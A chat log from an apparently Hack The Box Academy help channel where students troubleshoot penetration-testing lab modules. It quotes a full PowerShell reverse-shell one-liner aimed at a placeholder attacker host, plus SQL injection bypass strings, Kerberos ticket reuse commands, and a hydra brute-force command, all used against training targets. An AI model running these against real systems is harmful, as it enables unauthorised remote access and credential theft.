#modules

1 messages · Page 254 of 1

cloud urchin
#

EU more like eww

pseudo birch
#

please ignore. Just reset 2 more times and it worked XD

calm abyss
#

what question are you on ?

neat horizon
calm abyss
inner geyser
#

eu2 worked for me...thanks @next bronze. Got it right away

calm abyss
# neat horizon

svc_workstations@inlanefreight.htb@linux01:/tmp$ Is this it ?

neat horizon
#

there are 2 files that belong to the user julio

next bronze
#

hmm yeah one of those should work, the no logon server status is weird tho, can you reach the DC from that target?

high reef
#

i'm doing Malicious SCF File

#

i'm not getting this users hash

#

wrote the scf filee in backup

neat horizon
zenith vale
#

hey can someone explain to me why this injection worked for me ?
Executing query: SELECT * FROM logins WHERE username='tom' or '1'='1' AND password = '1' --'' AND password = ''; im at the subvverting query logic in the sqli fundementals

calm abyss
# neat horizon yep, thats where the ccache files are

Once you have the ticket you need to export it. export KRB5CCNAME=path_to_ticket.ccache . Then you can use other tools with the cached ticket of the user that has rights to do xyz. An example would be like netexec smb 10.10.10.10 -k -x “type C:\Users\julio\julio.txt” this would use the cached ticket to run a cmd and read that txt file but the -k flag can be used with most of impacket suite

zenith vale
#

at first i tried to make everything past password = '1' a comment and then i noticed it added a ' to my syntax i added another apostrophe it worked

#

thinking of it , and trying it making this another and argument was useless so i removed it and it worked again

neat horizon
haughty tree
#

Question, this is a loop from a reverse shell for powershell, and it makes me curios as to how does the connection using this script doesn't get terminated if I don't send it a command for a bit, because wouldn't it evaluate it as if I sent data that is smaller than 0 in length? or does my computer just constantly send "im here" packets to notify?

heres the full code:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('{attacker_machine}',{port_num});$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"
next bronze
calm abyss
neat horizon
neat horizon
calm abyss
dark garden
#

I used nmap to find 6 services. I enumerate them one by one, look at anonymous connection, default credentials, CVEs, I even wrote my own exploit... I set up all the services on a VM to try some options... nothing... I wrote a Markdown page of all of my researchs but I don't know if I can share it here.

fringe urchin
fringe urchin
#

And ill check. Dont wanna give a big hint away

quasi wave
#

hi anyone else having trouble getting a target to start?

#

its taking forever

#

I'm just gonna come back to it later

#

see if things clear up

calm abyss
calm abyss
neat horizon
calm abyss
neat horizon
#

these are mine

calm abyss
#

y7nah something

neat horizon
#

I have tried the export command with all of them already

calm abyss
#

copy this to /root

#

Y7naHy

neat horizon
#

in the sequence of commands I sent in thatprint, I copy the files to root, then export, then try the smbclient and get the error

neat horizon
calm abyss
calm abyss
#

so ls /tmp and copy the second ticket to /root, not DUX something

calm abyss
# neat horizon right now?

cp /tmp/krb5cc_647401106_I8I133 .
root@linux01:~# export KRB5CCNAME=/root/krb5cc_647401106_I8I133
root@linux01:~# klist

#

or whatever your name is, there are 2 julio's

#

dux and the real one

neat horizon
#

yes, that is exactly what I did

calm abyss
#

vim /etc/hosts

calm abyss
#

:w for save :x for exit

calm abyss
neat horizon
#

exporting the ccache file, I get the error:

calm abyss
#

add computers to /etc/hosts

#

save and exit

neat horizon
#

after adding the register to /etc/hosts, still get the error with the same ticket:

calm abyss
#

smbclient //dc01/julio -k -c "more julio.txt" -N

neat horizon
calm abyss
# neat horizon still get the error:

root@linux01:~# cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 ubuntu

172.16.1.10 inlanefreight.htb inlanefreight dc01.inlanefreight.htb dc01
172.16.1.5 ms01.inlanefreight.htb sm01

The following lines are desirable for IPv6 capable hosts

::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouts

#

rewrite the /etc/hosts

calm abyss
# neat horizon still get the error:

smbclient //dc01/julio -k -c "more julio.txt" -N
getting file \julio.txt of size 17 as /tmp/smbmore.FNGpCJ (16.6 KiloBytes/sec) (average 16.6 KiloBytes/sec)

neat horizon
calm abyss
#

ls /tmp

#

you have to ipmort the key again

neat horizon
calm abyss
calm abyss
#

go to /root, cd /root
cp /tmp/krb5cc_647401106_UHrJ9h .

#

export KRB5CCNAME=/root/krb5cc_647401106_UHrJ9h

#

klist

#

root@linux01:~# klist
Ticket cache: FILE:/root/krb5cc_647401106_UHrJ9h
Default principal: julio@INLANEFREIGHT.HTB

neat horizon
calm abyss
neat horizon
#

exactly

#

thats will I asked if you were accessing the server right now. This might be a recent problem

calm abyss
neat horizon
#

I can see it in the Solution section, so its ok, but I would like to understand why it is not working

calm abyss
neat horizon
calm abyss
#

save the steps in the notepad so you dont have to go all over again

calm abyss
calm abyss
neat horizon
#

@calm abyss it worked in the EU VPN! Seems like there is an issue with the US VPNs (I tried changing among the 3 US VPNs before, same issue)

#

@calm abyss thanks for the help!

neat horizon
calm abyss
next bronze
fallow junco
#

Hoping some one can point me in the right direction, in attacking Enterprise networks -> exploitation and privilege escalation. Having issues with the webserver, read some help here but still not working. I'm using proxy chains with ssh dynamic port forwarding, Firefox and foxy proxy. My get request work just fine and the page loads within a second (I did clear my cache just to make sure it wasn't a false positive) but no matter what I do the post request to log in or even the post request to register an account sit there until I get a connection time out. I've tried restarting the boxes. I've tried my own box versus the pwn box provided, I keep coming across the same issue.

pseudo birch
fallow junco
pseudo birch
#

you don't need to set your foxyproxy/burp. just use Firefox manual proxy with Socks5 127.0.0.1 then your {PORT}

cerulean grail
#

Can anyone please explain using HELO/EHLO to send commands to SMTP via Telnet? I read up on it in some other places but couldn't really understand much from the example they've shown in the Footprinting SMTP module

pseudo birch
#

Has anyone else been experiencing targets stop responding when youre in the middle of something? I'm doing the Attacking Enterprise Network and I'm RDP'd into MS01 and then it freezes/crashes. Then, I try to RDP again and I get a black screen. Which I can't get back into until resetting again. I'm on reset 7.

open summit
#

Is it safe to assume to go with port 22

#

as port 80 is http and u cant get shell control with a http port

open summit
#

cant seem to get a way in on this IP

#

10.129.200.169

torn drift
pseudo birch
#

Its actually been very very bad. I do an action (making file or copying file) then it freezes. Time clock still works though. Then, I have to RDP back in. Then eventually it just stops letting me back in

torn drift
pseudo birch
#

xD I was going to be finishing the whole course today, but with this happening. There isn't anyway hahaha

digital widget
#

Oh

torn drift
rustic sage
pseudo birch
# torn drift Yeah, thats awesome you're at that module!! - I have 13 more to go, finishing up...

I'll schedule it 6-8 months from now hahaha. I still have a lot to learn and not enough notes and experience. I'll be practicing writing reports for some of the ProLabs and going through a good many of the boxes. Then, I'll assess what I'm weak at and focus some attention there. Basically, what can I do blind and what can't I do blind.. Then, I should be ready by then. It took me 3 months to finish the whole thing. And 3 months of experience isn't enough I dont think lol

torn drift
foggy light
#

Module: ADCS attacks
Section: PKINIT

Not sure whats wrong with the administator.pfx
Its giving me error "Error outputting keys and certificates"
I tried it with pwn box as well, no clue whats going on.

pseudo birch
#

Thanks! I'll get there eventually. I'm enjoying it 😄

open summit
#

can someone try find the module for 10.129.200.169

open summit
#

why was no session created

pseudo birch
wanton idol
digital widget
open summit
pseudo birch
#

I'm getting a BrokenPipeError: [Errno 32] Broken Pipe when I'm trying to download Inveigh onto MS01 on Lateral Movement for Attacking Enterprise Network. Is this an issue with how I set up my proxychains? I'm doing socks4 127.0.0.1 9050. I can't copy from my /drive:/home/htb/. I'm getting an expected error for that as well.

pseudo birch
# open summit ye ik its linux i used nmap and its on linux

In the guide of the module you are exploiting a windows system. So, your exploit "linux/http/..." wouldn't work. The payload that is used in the module is (windows/meterpreter/reverse_tcp and the exploit exploit(windows/local/ms15_051_client_copy_image)

open summit
#

it wants a session

cobalt trench
#

Attacking email services Q2. Access the email account using the user credentials that you discovered and submit the flag in the email as your answer.

The command I'm using is ||hydra -l marlin@inlanefreight.com -P /home/inf0/HTBA/ACS/pws.list 10.129.98.248 pop3|| but it doesn't find anything

I tried it with rockyou and I tried changing the protocol but nothing works. Any tips?

pseudo birch
cobalt trench
cobalt trench
pseudo birch
cobalt trench
pseudo birch
#

😄 I just did as well. Going to be a late night

solar grove
#

ATTACKING COMMON SERVICES

I got stuck in the question in the Dns module, I discovered a few subdomains but no result. blog,my,....

fathom pendant
fathom pendant
solar grove
#

@fathom pendantYes, I understand that, but I still can't find it.

fathom pendant
#

as long as you didn't mess with the names.txt in subbrute, you should find it

burnt oasis
#

Working in SNMP section of “footprinting” and stuck on last question. “Enumerate the custom script that is running on the system and submit its output as the answer ?” I don’t understand what they want in the answer. I’m using snmpwalk and found the other answers in section but I’m confused what they are asking for, on last question. Any help or further resources to look at would be really appreciated 🤙🏽

fathom pendant
#

@solar grove it's getting deleted by automod because it's detecting it as spam

solar grove
#

I found these
www,blog,my,support,ns1
But I tried all of them I am looking for zone transfer failed error. I also wrote inlanefreight.htb in the etc/hosts file. I don't understand why it says ns1.inlanefreig.htb in the example.

fathom pendant
#

the examples won't always match up to the exercise 1 to 1

solar grove
#

@fathom pendant I get python errors when I type the ip address

fathom pendant
#

the command would look like ./subbrute.py inlanefreight.htb -s names.txt -r resolvers.txt

solar grove
#

@fathom pendantMy command is the same as this one and the result gives the domains they found (ns1,blog,my,support.inlanefreight.htb) but none of them are doing zone transfer.

fathom pendant
#

that would be correct as none of those are the answer

solar grove
#

I don't understand, this is not related to the answer I found, can you help me?

burnt oasis
#

Yes found the .sh that’s running script but confused by directions if that file path is the output they are looking for or the oid # or both confused by the answer format they want @fathom pendant

fathom pendant
#

if you follow a handful of the OID after the .sh that runs you'll see it's output

fathom pendant
#

as long as you don't modify that, you're fine

#

i literally just ran it with only the ip in my resolvers.txt (ran it twice) and it worked

#

even adding the ns.inlanefreight.htb to my /etc/hosts and using that in my resolvers.txt instead gave me the expected answer

#

@solar grove dm me your output that you're getting

solar grove
#

@fathom pendantI solved it but I don't understand why it works according to my head, can you inform me. I wrote ns1.inlanefreight.htb in /etc/hosts file and I used @ns1.inlanefreight.htb when transferring zone. why it didn't work on inlanefreight.htb.

fathom pendant
#

dig ns inlanefreight.htb @ip

#

then when you find the right subdomain it's dig axfr subd.inlanefreight.htb @ip/nameserver

solar grove
#

inlanefreight.htb. 604800 IN NS ns.inlanefreight.htb.
but it shows it as a nameserver, which means it's a nameserver.

fathom pendant
#

yes ns is the nameserver; not ns1

solar grove
#

I get it, one question in my head is gone. My last question is where we discovered ns1.

fathom pendant
#

?

burnt oasis
#

Found it lol deff wasn’t expecting that kinda output thanks 🤙🏽

fathom pendant
#

ns1 was never discovered in digging/enumerating the target IP

#

the ns1 was for inlanefreight.com <-- not .htb

remote briar
#

In Intro to Windows: NTFS vs. Share Permissions, I'm trying to mimic the instructions to mount a share using
"sudo mount -t cifs -o username=htb-student,password=Academy_WinFun! //10.129.156.61/"Company Data" /home/htb-ac-10648/Desktop/"

I have the firewall domains set to allow access on the Windows host (domains), and i have NTFS permissions set to full access for everyone, and Share permissions set to full control. But for whatever reason, I'm getting hit with a "No such file or directory" error. Spelling isnt the issue so I'm not sure what gives. Any advice?

I can access the share just fine with smbclient.
Note: I see the share on my pwnbox in Windows but not the Linux VM itself.

I'm starting to think this is expected behavior and the reasoning behind this is beyond the scope of this lesson?

fathom pendant
#

"On the pwnbox in windows" you're using the in-browser pwnbox and your own vm?

#

If so: that's the reason for it breaking

#

The vpn assigns you an ip that causes network collisions and breaks things

#

You can only use on or the other for interacting with targets

remote briar
#

Let me clarify; on the pwnbox via SSL VPN when RDPing into the Windows VM provided by the module

fathom pendant
#

that didn't clarify anything

#

are you using the in-browser vm? yes or no

#

I literally do not know what "on the pwnbox via SSL VPN" you connect to the pwnbox either via the in-browser visual or via ssh to the public IP in it's interface

#

no vpn required (it uses the vpn to connect to targets)

#

but you don't need to run the vpn on your own machine to use the pwnbox

remote briar
#

the in-browser connects via SSL VPN....
"SSL VPN
This is essentially a VPN that is done within our web browser and is becoming increasingly common as web browsers are becoming capable of doing anything. Typically these will stream applications or entire desktop sessions to your web browser. A great example of this would be the HackTheBox Pwnbox." per Introduction to Networking: Network Types module

fathom pendant
#

i understand what that means but YOU don't interact with the VPN

#

is what i'm saying

#

you're abstracting it too much

#

which is causing additional confusion

#

what i'm simply asking: are you running the VPN on your machine or not

remote briar
#

web browser -> ssl vpn -> rdp into windows via pwnbox
So, no.

fathom pendant
#

thank you

#

you're making it more complicated than it needed to be

remote briar
#

k

fathom pendant
#

i just wanted to double check and verify that you weren't running the VPN on your machine, which will cause conflicts in things not working properly

#

as far as the connection thing goes, have you tried wrapping the entire connection in doublequotes

#

i.e. "//ip/share name"

remote briar
#

I have, yes. Same error

fathom pendant
#

can you connect to it via smbclient?

remote briar
#

I see the share using net share on the Windows RDP session, but not on the Pwnbox VM itself.

Also yes. I can both list and interact with the shares

fathom pendant
#

then it's mostly working as intended: Sharing resources doesn't generally mean you can mount them

#

depends on how they're shared and set up

#

you generally can't mount an smb share to linux

remote briar
#

Ahh that makes sense then. I think my expectations were off, then.

#

Thanks for your time.

#

And your frustration.

#

😉

floral yacht
#

Anyone had issues spawning targets in academy, getting time out errors?

remote briar
#

once

spring abyss
#

started this hour

woven stone
#

I have a problem with my VPN since yesterday. I think the problem is in this lesson only

cloud urchin
#

try pwnbox

woven stone
woven stone
fathom pendant
#

it's http://

#

not an issue with vpn

#

literally wrong protocol

woven stone
cloud urchin
#

https is usually fine on htb

#

i don't recall a module that you couldn't use https but i could be wrong

fathom pendant
#

most use http

cloud urchin
#

most of the time http doesn't work i found

fathom pendant
#

several times in fact https is the one that causes the issue

woven stone
#

When there is no good connection it automatically redirects it to https

fathom pendant
#

maybe on the ones that are launched via docker are https fine

#

scan it to see if it's on an alt port

woven stone
#

tun0 not found what my vpn work in bg

fathom pendant
#

then it sounds like your vpn died

#

ps aux | grep openvpn to see if it's running

#

also if you didn't run it with sudo it likely died in the bg without you noticing

woven stone
#

bound what is that ???

fathom pendant
#

that's normal

#

scroll to the bottom

cloud urchin
#

your ifconfig picture didn't show a vpn connection

woven stone
fathom pendant
#

sudo killall openvpn

woven stone
fathom pendant
#

you have multiple instances running

woven stone
fathom pendant
#

i see 3 instances of root running openvpn

#

so yes: that's multiple instances

#

kek either way

ocean night
#

👆

woven stone
#

u can see like that

fathom pendant
#

if i run on my box it'll only ever show one + me running the grep command

#

especially considering different PIDs

ocean night
#

Just killall as suggested or reboot and reconnect

woven stone
fathom pendant
#

well your alias seems to be spawning a few

woven stone
cloud urchin
#

try running it manually instead of with your alias, just to make sure

fathom pendant
#

i'm seeing a few different PIDs

#

also that

woven stone
#

mu alias

fathom pendant
#

ok?

#

we're not arguing your alias atm

#

3303 --> 3305

woven stone
#

after rebooot still

cloud urchin
#

PID means Process ID, which is in the 2nd column of the ps command you ran, you can see they have different PID numbers, which means they are different processes

fathom pendant
#

so something is causing issues

cloud urchin
#

follow the command MarcieLee gave you, sudo killall openvpn

ocean night
#

Do you have it in bashrc or something, and then executing again

fathom pendant
#

do you have an automatic process that's running it?

cloud urchin
#

then reconnect, try agian, if that doesn't work, reboot your whole pc and try reconnecting and doing it again

ocean night
#

Multiple terminal windows?

cloud urchin
#

that makes sense why my guide didn't work for you yesterday

#

your multiple VPN's are causing problems, kill all those processes and just run it once

woven stone
#

wtf i run two vpn and found this

#

my vpn = 3vpn

woven stone
woven stone
mint arrow
#

Hi guys, I'm having issue with Tomcat in module Shells & Payloads under "The Live Engagement". Everytime I try to upload the .war file in Tomcat it went to "The connection was reset".

woven stone
#

and tun0 not found in ifconfig

cloud urchin
woven stone
cloud urchin
#

you need to resolve all the openvpn's that are open first

#

kill the processes, then reconnect to the vpn

fathom pendant
#

might need to attach -9 to the killall command

woven stone
ocean night
#

Sounds stupid.. but the IP / port listed in your config file

#

Can you actually connect to it

fathom pendant
#

but i'm not actually getting it to fully connect; regenerating my vpn file now tho

ocean night
#

They're on TCP

woven stone
woven stone
fathom pendant
#

killall*

ocean night
#

So when I said do you have that in bashrc, do you have the command to connect to the VPN in bashrc so it does it automatically when a session is started?

#

Or just the alias

fathom pendant
woven stone
#

i found this .and idk

fathom pendant
#

question

#

when you run it: do you get: "Initialization Sequence Completed"

#

if not; that's why you don't get a tun0

fathom pendant
#

@ocean night this might be related to US acad vpn server maintenance as well; considering this is the first time i'm running the connection since the maintenance period

cloud urchin
#

maybe for testing comment all of your custom stuff out and just try manually

fathom pendant
woven stone
fathom pendant
#

regenerate your vpn file (Download a new vpn file) and use that

fathom pendant
#

literally just downloaded a new config and it worked

#

old config hung at connecting to IP

ocean night
#

Have you tried the UDP cknfjf?

#

Config*

fathom pendant
fathom pendant
ocean night
#

Shut it

#

Lol

fathom pendant
#

i'm shrimply stating that it's likely with the maintenance being done, a new file was needed :)

ocean night
#

Could well be

fathom pendant
#

oop and just got another idea >:)

woven stone
ocean night
#

What did it in the end?

woven stone
#

and it worked

#

thx MarcieLee 💚

night crypt
#

anyone having trouble getting RDP access to machines in the ACTIVE DIRECTORY ENUMERATION & ATTACKS module? Stuck on Living Off the Land. Have tried swapping VPN servers 2x

#

it's letting me connect but just showing a black screen on the RDP client

cloud urchin
#

did you press enter/space

#

wake it up

night crypt
#

aha

#

thank you @cloud urchin !!

#

tried clicking on it but didn't try the old trusty keystroke d'oh

fathom pendant
tropic wharf
#

i have a question about the fawn module in the getting started list, i was wondering if someone could help me understand. the walkthrough for the module says the help for the ftp is "ftp -h" but it stated it was an invalid command. "ftp ?" worked instead and i just wanted to understand why. is it an update to something or did i do something wrong from the walkthrough?

tropic wharf
fathom pendant
#

This channel is for academy modules

fathom pendant
#

Windows uses ? Or /?

tropic wharf
#

thats my bad for the wrong channel

tropic wharf
fathom pendant
#

Yes; but I mean when you tried on your machine

tropic wharf
#

oh. linux

night crypt
#

Getting the following error whenever I try answer the first question of the "Kerberoasting - from Linux" module in AD Enumeration & Attacks - anybody else having this problem?

[-] Principal: INLANEFREIGHT.local\SAPService - [Errno 104] Connection reset by peer

Edit: 3 target resets later seems to have done the trick 😄

cloud urchin
#

Not sure how long you waited before rebooting, but the AD modules take a bit longer to fully boot up, so make sure to wait 3-5 min.

solid moth
#

Module name : Pivoting, Tunneling, and Port Forwarding
Section name : Web Server Pivoting with Rpivot
"New connection from host 10.129.162.202, source port 39110" this means i already succeed in the pivot part right?

#

i want do nmap scan in the 172.16.5.0/23 but it always timeout . why?

cloud urchin
fathom pendant
solid moth
#

i used proxychains

#

proxychains] Strict chain ... 127.0.0.1:9050 ... 172.16.5.0:80 <--socket error or timeout!

fathom pendant
#

Well if 80 isn't open on that device it won't connect

#

¯_(ツ)_/¯

cloud urchin
#

172.16.5.0 is a bad address

#

the module says to use 172.16.5.135:80

#

try using that IP instead

solid moth
cloud urchin
#

you can proxychain to a service locally and use 127.0.0.1 to make sure it's setup correctly. maybe re-download the vpn, reconnect to the vpn, and restart the lab machine then wait ~3-5 mins to connect and try again

spark spruce
#

If we know the username is admin
then we should use ' or '1'='1 with password to bypass
why it is using with admin ?

cloud urchin
#

as long as your syntax, targets, proxychains, vpn, etc are all setup and enabled correctly it will work

woven stone
#

Imagine that you want to rob the bank. What would be better, to be the bank manager or to be just an ordinary person working in the bank?

spark spruce
woven stone
#

I advise you to study more carefully because it explains all of this

wanton idol
spark spruce
#

it wouold accept admin as username and password should be use with 1=1 to bypass it

wanton idol
storm elk
#

No. As passwords are usually hashed

#

And entries are too. When processing the code

spark spruce
#

/users/user[username/text()='admin' and (password/text()='abc' or '1'='1')]

spark spruce
spark spruce
storm elk
#

Saving passwords plaintext is like the worst thing any DBA/developer can do

storm elk
#

By putting a comment after the entry of username the rest of the query won’t be processed as they go be a comment

quick ingot
#

Anyone solved Error-Based SQL injection from the Advanced SQL Injections module.

uneven oracle
#

I was able to figure it out because of the hint and obvious title on the webpage, but how on earth would I have known what to search for based on the nmap scan??

Getting Started/Pentesting Basics/Public Exploits

fringe urchin
next bronze
#

looks like getting started, next time include the module and section name

uneven oracle
next bronze
fringe urchin
uneven oracle
next bronze
#

with a browser, nginx is a web server, so to interact with web servers, you'll need a browser

#

later modules will teach you how to foorpint different services

uneven oracle
fringe urchin
#

well its a web server. you just visit it with the correct port (80 or 443 (http or https))
xreous was saying that later modules will teach you how to footrpint other services like imap, snmp, pop3 etc

next bronze
#

you don't need the hint, go to the website, see the plugin version, google <plugin version> exploit. that's all

fringe urchin
#

looks allright

#

(idk what that is)

uneven oracle
spice tiger
#

What's this??

next bronze
rapid sapphire
#

U have to be smart to understand

uneven oracle
next bronze
#

huh? you don't need the hint to google the plugin version

#

it's right there on the website

fringe urchin
#

he probably means how do we know we need to visit the website?

next bronze
#

oh

uneven oracle
fringe urchin
uneven oracle
fringe urchin
next bronze
#

hence I said later modules will teach you how to footprint services better, this module is easy mode where the version number is right there on the website

fringe urchin
#

this module you doing is just getting started. it wont teach you much deep stuff

uneven oracle
next bronze
#

why not? googling is not rocket science. the module itself literately told you to google exploits, so you see the version number, google that + exploit

uneven oracle
autumn pilot
#

Try to find information on the webpage itself

#

You have been an IP and port, visit it and observe

next bronze
uneven oracle
#

There is nothing there.

autumn pilot
#

Try again, don't swerve your attention elsewhere

next bronze
fringe urchin
uneven oracle
# next bronze whatever I see here

I mean, now I know about “plugins”.
But you wouldn’t think to do that at first.

The module teaches you about enumeration and finding exploits on the open ports.
Nothing that comes up in the open ports would lead you to do that.

next bronze
#

you're only given 1 port to work with

uneven oracle
fringe urchin
#

Https?

next bronze
#

you need to get better at googling ig shruge

uneven oracle
#

Why would I think to google simple backup plugin 2.7.10 from this?

next bronze
#

if you google apache, what do you see? it's a http server (also in the nmap scan), so for http servers, you interact with it using a browser, when you go there using a browser, you're shown the plugin version

#

I feel like we're going in circles, if you're so set on believing that this section cannot be completed without the hint, so be it. good luck with future modules

autumn pilot
#

Read the contents on the webpage and don't focus on scanning

uneven oracle
autumn pilot
#

Google what you see and add the word exploit or vulnerability

next bronze
uneven oracle
autumn pilot
#

Further down the modules you will be shown how to enumerate

#

This is as the name of the module suggest getting started

#

You won't be expected to do something a bit more difficult

uneven oracle
uneven oracle
autumn pilot
#

the future will tell

uneven oracle
#

lol.
Nice chat guys.

uneven oracle
fringe urchin
fluid quartz
#

anyone able to help me with something at the start of the introduction to windows evasion?

fathom pendant
#

If you can ask it without spoiling or if it's just a general question, just ask

fluid quartz
#

i need help in the windows evasion module getting the AES crypter to work

#

i think i've set it up wrong,wondering if someone can look at my code

#

if you could please DM me

cedar yew
#

hey all how to reset my neo4j user&pass

fathom pendant
fickle portal
#

hello, so i'm trying to answer this question: Use cURL from your Pwnbox (not the target machine) to obtain the source code of the "https://www.inlanefreight.com" website and filter all unique paths of that domain. Submit the number of these paths as the answer. here is the command i came up with to try and find the good answer : curl "https://www.inlanefreight.com" 2>/dev/null | grep -oE "https://www.inlanefreight.com(/[a-zA-Z0-9./?=_-]*)?" | sed 's|https://www.inlanefreight.com||' | sort | uniq | wc -l. I cannot figure out how to do it differently, I really need help on this one. Thanks in advance

fathom pendant
#

I mean there's not much to do differently

#

Though I don't recall sed using | rather/

#

Which you'll need to escape special characters

#

(Note it helps if you put your command in backticks so it's easier to parse)

#

`like this`

#

This one I used a fair bit of googling and mostly copied a command I found on the forums

fickle portal
#

I see, thank you for your answer ! I tried using sed differently but still can't find the correct answer this is so annoying. Thanks again for the advice though!

fickle portal
pseudo birch
#

I need someone to drop some knowledge on me about SSH tunneling. I'm doing Attacking Enterprise Networks and I have admin hash. I'm trying to connect to the DC with this hash. However, I keep getting a HTTPClient timeout error or HTTPResponse Error. I'm able to ping and nmap scan the DC. I've tried using msfconsole autoroute and chisel to SOCKS tunnel traffic, and using ssh -D {port} and using proxychains as part of the argument in my command to connect to the DC. I've googled until I can drop on fixing the issue. Could this be a technical issue with the target or issue with my socks tunnel or /etc/proxychains.conf or something else entirely?

fathom pendant
#

Yeah but for some reason you are using pipes | in your sed and not /

fickle portal
fathom pendant
#

Well you need to escape special characters

#

Sed uses / between it's arguments

#

So you'd need to format http:// as http:\/\/

#

Which escapes the / character

#

So it doesn't get interpreted as ending the statement

normal sand
#

Anyone having issues with the VPN?

fathom pendant
fickle portal
#

like this? curl -s "https://www.inlanefreight.com/" | grep -oE "https://www.inlanefreight.com(/[a-zA-Z0-9./?=_-]*)?" | sed 's/https:\/\/www\.inlanefreight\.com//' | sort | uniq | wc -l

fickle portal
fathom pendant
normal sand
#

I tried regenerating. The TLS handshake keeps failing. I'll try a different server.

fickle portal
regal sigil
#

Hey I have a slight query using gobuster, here i used a patterns file, but gobuster not even following the pattern i gave it

fathom pendant
#

This one includes an explanation

#

There's a simple and slightly more complex command in the forums

fickle portal
fathom pendant
#

Np you're likely to find a bunch of info on tier 0 modules

normal sand
fathom pendant
fickle portal
feral sapphire
#

Hey guys, is there a way to run ubuntu+gui in docker ?

fathom pendant
#

Probably. You'd just need to open an rdp port for it

#

Likely a few google searches can get you there

normal sand
#

Who do I contact if I'm still having issues with the VPN?

fathom pendant
#

Support

#

I take it you're running openvpn with sudo / as root

normal sand
#

Yes

normal sand
fathom pendant
#

There's a green bubble in bottom right of academy

compact patrolBOT
normal sand
fathom pendant
#

Disable adblock then

normal sand
hollow ibex
#

module:session security section:csrf(get based) If csrf.htb.net was utilizing SSL encryption, would an attacker still be able to alter Julie Rogers' profile through CSRF? Answer format: Yes or No

fathom pendant
#

I mean the answer is likely in the reading

hollow ibex
#

when i set answer to yes it is right

fathom pendant
#

And the section likely explains it

#

It's also helpful to express your confusion about something rather than just reposting the question

hollow ibex
#

this is wrong because if we on local network we are unable to sniff https traffic so how could and attacker can gain csrf token ??? if anyone have knowledge about it tell me the module name is session security section:csrf (get based)

fathom pendant
#

Hope these help clear up any confusion

#

Tldr the csrf can still send https://

hollow ibex
#

@fathom pendant but at the start the start of section thet write . Similar to how we can extract session cookies from applications that do not utilize SSL encryption, we can do the same regarding CSRF tokens included in unencrypted requests.

fathom pendant
#

It likely later explains that it's still possible with ssl

#

Again I provided 2 additional resources that explain that ssl does not inherently prevent csrf

#

As the malicious site can just send the request as https:// instead of http://

hollow ibex
#

because they write in the way the attacker first have csrf token of victim that is only gain by network snifing so it means that the if we sniff https traffic we were able to get csrf token of victim ???

fathom pendant
#

You might not sniff it over the network but the data is decrypted at the end point, you don't need to see it's transit

#

Usually csrf gains tokens via some form of malicious form

#

Not generally just by sniffing

hollow ibex
#

but in the particular section they write at first

fathom pendant
#

Ignore the at first portion

#

You're focusing too much on that

#

I'm telling you: typically csrf is attained via malicious web form, not by sniffing

#

In which case sniffing does not matter

hollow ibex
#

that they intercept the request using burp then capture the csrf token of victim then used it to mount the attack

fathom pendant
#

sigh

#

At least read the additional resources I linked to gain more insight

#

Instead of trying to argue about the examples

hollow ibex
#

@fathom pendant i understanding you but the context i tell u is different in that section how an attacker would gain csrf token of victim if he not sniff the network you tell me ???

fathom pendant
#

sighs by having the victim visit a malicious site which will capture the tokens

#

As cookies are always sent with any http(s) request

hollow ibex
#

but in the section they first capture the csrf token of victim then used it to write the attacker crafted web page

fathom pendant
#

I'm done trying to further explain it when you're extremely hung up on the example

#

Also burp isn't a sniffer

#

It just intercepts traffic

#

So it doesn't see the request the same way something like Wireshark would

#

With burp, the traffic is already decoded

hollow ibex
#

i know burp is not sniffer they just tell like that way two user on the sam network

fathom pendant
#

Just nevermind

#

Point is. Csrf is still possible

#

Both links I provided earlier state https alone is not enough to prevent csrf

hollow ibex
#

to exploit csrf the conditons must be met 1:sessoin based on cookie only and 2 :no unpredictable parameter in this case csrf parameter is unpredictable by attacker so who he can exploit it ???

fathom pendant
#

They likely explored the webpage itself to see what the vulnerable parameters are then crafted a malicious site based off that

#

If there's a csrf token, then yes it's harder

#

But https doesn't magically make a csrf token

#

It just puts the ssl layer on the webpage

#

That's it. Ssl doesn't inherently magically add things

#

The question was simply "if ssl is enabled can you still csrf" which you can

#

Not "if csrf tokens are implemented"

hollow ibex
#

their is csrf token that they used to make the attaker web page with the same value of victim csrf token then serving him to perform csrf

fathom pendant
#

No, they got the session token/cookie

#

Which is different

hollow ibex
#

they just copy paste the value

fathom pendant
#

Also: it's not asking how its asking if and later sections likely explain it

hollow ibex
#

which is not possible in real world

fathom pendant
#

No, it's possible

#

While not common

#

Csrf is very much still possible

hollow ibex
#

can you tell the scanrio of attack

fathom pendant
#

Anyway. Point is

#

All sources say it's possible with https

#

Because ssl alone isn't enough

#

Usually other stuff would be added on top of https that would mitigate or prevent

fierce mason
#

for getting local admin on ad attacks skills assessment ii, on the sql01 host, is the intended way supposed to be abusing one of the privileges the user has

hollow ibex
#

i left talking about ssl or without ssl i just tell how they say they could work in local network

fathom pendant
dim wolf
#

do they really?

fathom pendant
fathom pendant
dim wolf
#

they are wild

hollow ibex
#

@fathom pendant the resource you share is verb tempring

fathom pendant
#

You're overcomplicated the simple question

fathom pendant
hollow ibex
#

the last question

fathom pendant
#

So unless owasp is wrong

#

And portswigger

hollow ibex
#

in the particular section what they want to convey like first they write in the attack scnrio in local network then in the middle they capture the victim request and copy the csrf token and paste it to perfom attack and at the end they say they is able to change victim profile if ssl implemented

#

@fathom pendant i am not saying anything right or wrong i just want figure out the content written in the seciton

fathom pendant
#

The section does not mention ssl, so that part requires research

#

Which takes maybe a few seconds to google

#

Which all i did was google "does https prevent csrf" and "is csrf possible with https"

hollow ibex
#

@fathom pendant i suggest you to skim the section in free time

fathom pendant
#

I am looking

hollow ibex
#

@

fathom pendant
#

And as I said, while it doesn't mention ssl

#

Research will tell you the answer

#

And tell you why

#

Which it's mostly unrelated to the question

#

As it boils down to, csrf and https

#

Which if you extrapolate that it's possible in general with ssl --> it's possible in the hypothetical

hollow ibex
#

